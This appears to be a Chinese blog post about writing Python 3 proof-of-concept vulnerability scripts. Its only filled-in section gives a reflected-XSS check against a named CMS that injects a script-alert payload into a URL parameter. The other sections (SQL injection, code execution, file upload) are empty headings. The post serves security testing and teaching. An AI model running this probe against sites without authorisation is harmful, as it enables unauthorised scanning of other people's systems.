python3编写不同类型漏洞的poc

python2 与python3使用的模块略有不同

1、反射型xss的poc,以骑士cms的反射型xss为例

# coding=utf-8

from urllib import request
import sys 
# https://blog.csdn.net/jiduochou963/article/details/87564467 
# http://www.onescorpion.com/research/poc.html
def xss_poc(url):
    target = url + r"/Product.asp?BigClassName=%C4%A5%BB%FA%3Cscript%3Ealert(1)%3C/script%3E&Smallclassname=%C1%A2%C4%A5"
    try:
        req = request.Request(target) # 发送请求
        result = request.urlopen(req).read()
        if b'<script>alert(1)</script>' in result:
            print("%s is vulnerable!" % url)
            print("payload:\n",target)
        else:
            print("%s is not vulnerable!"% url)
    except Exception as e:
        print('something is wrong..')
        print(e)

argvs = sys.argv
if len(argvs) == 2:
    url = argvs[1]
else:
    print('unsage: python %s url'% argvs[0])
xss_poc(url)

 poc验证结果:

2、存储型xss的poc

3、get方式SQL注入

4、post方式SQL注入

5、代码执行

6、文件上传

 

 

 

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值